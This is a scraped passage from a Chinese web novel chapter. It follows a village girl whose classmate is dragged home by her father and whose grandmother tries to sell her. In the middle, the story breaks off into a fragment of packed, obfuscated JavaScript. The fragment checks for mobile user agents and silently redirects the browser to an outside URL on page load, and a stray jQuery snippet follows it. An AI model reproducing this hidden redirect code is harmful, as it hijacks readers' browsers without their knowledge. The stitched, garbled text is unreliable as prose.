洪如发和覃笑笑心照不宣地点点头,冲进办公室,在混乱里护着孙雨跑到操场。他们以为这样就可以万事大吉了,可是,到了运动会快结束的时候,男人铁青着脸走出办公室,在班级里找到孙雨,拎着她的胳膊,把她拖回家了。
林金洋就跟在他身后,眼睁睁看着父女俩从学校走出去,越走越远,直至背影都看不见。
“阿爸!”覃笑笑焦急地说道。
在她心里,林金洋是无所不能的,只要他在,没有什么解决不了。
然而他无视她的焦灼,说:“下次不许不打报告就进办公室。”
“阿爸……”
“听到了没有?”
“听到了……”
“还有你。”林金洋看向洪如发,“仅此一次,下不为例。不然我就告诉你阿爸。”
洪如发长大一岁,越发了解洪富,他认为这件事就算被知道了,阿爸也会说他做得对。
他大胆地说出心里话:“林老师,我们做得没错,为什么要责怪我们?”
林金洋怒道:“如果你们进去,被他打了怎么办!”
覃笑笑赶紧拉了拉洪如发的衣角,说:“阿爸,我们知道错了,以后不会了。”
“运动会结束没有?结束了就给我回家!”他心情很糟糕,没有耐心和他们说话。
他俩识趣地回去收拾书包。
走在回去的路上,覃笑笑忍不住问:“那个叫孙雨的姐姐明天还会来上学吗?”
洪如发瞥她一眼,“她是我同学,又不是你同学,你怎么那么关心她?”
“因为我们都是女生啊。”她毫不犹豫地说,“不对,因为我们都是人啊!Peoplehelppeople.”
洪如发愣愣地看着她,忘记了走路,覃笑笑跟着停下,问:“怎么了?”
他扭过头,侧对着她说:“孙雨明天不会来上课了……今天不好意思,我不应该把你拉过去。”
说完,他奔跑在田埂上,仿佛身后有洪水猛兽。
夕阳的霞光洒落前方,覃笑笑不明所以地跟着他跑起来,大喊:“洪如发,你等等我!”
洪如发没有等她,远远地看到她拐进她家的那条路,放心地回家了。
那天之后,果然如洪如发所说,覃笑笑再也没见过那个叫孙雨的姐姐。
秋去冬又来,张月参演的那部大型连续剧──《春花秋月》播出了,可惜大多人家里没有电视机,这件事就没有引起轰动。
但被姚兰有意无意孤立的张月在忍了半学期后,由一群人簇拥着去了大城市生活。
走的那天,覃笑笑去看了热闹,听到那些人夸赞张月小小年纪,演技精湛,还说假以时日,她必然能成为视后。
张月走后,姚兰像树枝上残留的枯叶,蔫巴了好一阵,才恢复往日的活力。
节前的最后一节课,覃笑笑竖起耳朵听打铃声,声音一响,她就迫不及待地冲出教室。林金洋有事不和他们一起,她和洪如发在田埂上赛跑,跑到家门口的时候,她都快吐了。
然后她就看到一个她非常不想见到的人──姑奶奶。
只要姑奶奶和奶奶凑一起,她总要遭殃。
但这次似乎不太一样。
姑奶奶见到她笑眯了眼,亲热地喊道:“笑笑回来啦,快来吃饭吧!”
“姑奶奶好。”
“嗯,好。别站在外面了,快进来吧。”
不知道为什么,覃笑笑能从她表现出的慈祥和蔼中感受到阴冷。
这顿饭吃得说有多诡异就有多诡异,姑奶奶慈眉善目地给她夹菜,奶奶的眼角似乎也含着抹不易察觉的笑,仿佛她是块昂贵的猪肉,而不是之前的小青菜。
这时的覃水生已经会说一些简单的词了,他张着小手喊:“妈,妈妈~”
“覃勤,吃好了就把水生带屋里去。”覃奶奶说道。
覃笑笑有了不详的预感。
“阿妈,我来抱吧。”她想过去抱着水生一起进屋,姑奶奶急了:“我好不容易来一趟,笑笑坐这儿,陪姑奶奶聊天会儿天。”
覃勤看出她的反常,抱着水生,说:“水生也陪姑奶奶聊天,好不好?”
水生:“妈妈~妈~”
几人打着配合,一直挨到林金洋回来,才松了口气。
覃笑笑没有忘记覃奶奶之前说过完年把她送走的话,惶惶不安地度过几日,天天往她家跑的洪如玥回家说:“笑笑姐姐不高兴。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321562|167510||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>芳妹让她邀请覃笑笑来家里看电视,恰巧那段时间正在播出《春花秋月》,张月在这部剧中演的是女主小时候,生活处境和覃笑笑十分相似。
她看完后有了个好主意。
又过了几日,覃奶奶终于找到个林金洋不在家的时间,把覃勤锁在房间里,满屋找覃笑笑。她和小姑子商量好了,只要把人带去她家,她自会安排好后面的一切。
可是这个死丫头太精,她说了几次带她去姑奶奶家串门,她就不去,所以她才出此下策。
覃勤在屋里大力敲门:“娘!娘!你要干嘛!你放我出去!”
“我要干嘛?我要把那个小杂种卖了!”
“啊!放我出去!笑笑,笑笑,快跑!快跑!”
覃笑笑抱着水生在后门外晒太阳,听到动静,伸头一看,就看到覃奶奶拿着一捆绳子跑向厨房,立马知道她要动手了。
她把水生背在身后,向村书记家快步走去,恐惧让她脸上瞬间挂了两行泪。
路上,她只要看到个人,就学张月在电视剧里的吆喝:“叔叔,阿姨,爷爷,奶奶!我奶奶不要我了,你们能给我一个家吗?我很听话,会洗衣做饭带弟弟!你们看,后面就是我弟弟,我带的很好!我一定很听话,不会惹你们生气的!求求你们了!”
水生听到笑笑哭,他“啃啃”两声,也哭起来,给两人增添了悲壮感。
一个村的人相互都认识,纷纷出来看是什么情况,覃笑笑吆喝得更大声了:“你们能给我一个家吗?我奶奶要把我卖到很远的地方,我再也回不来了!”
“覃老太太心好毒,这么大的小孩什么都记得,她也敢卖。”
“这不是心毒,这是犯法,是要吃牢饭的!”
“人家你情我愿的,也犯法?”
“你看这是你情我愿吗?哎呀,真可怜。家里又不是揭不开锅,何必要把小孩卖了。”
这些声音很快就传到书记家,他慌忙披了件衣服走出门,覃笑笑走到他家门口,声泪俱下地求他:“伯伯,您能收留我吗?我不想被我奶奶卖到很远的地方,我想和我弟弟、阿爸阿妈在一起!求求您了,我给您下跪,给您磕头!”
覃水生在背后哭喊:“洁,不奏,妈,妈……”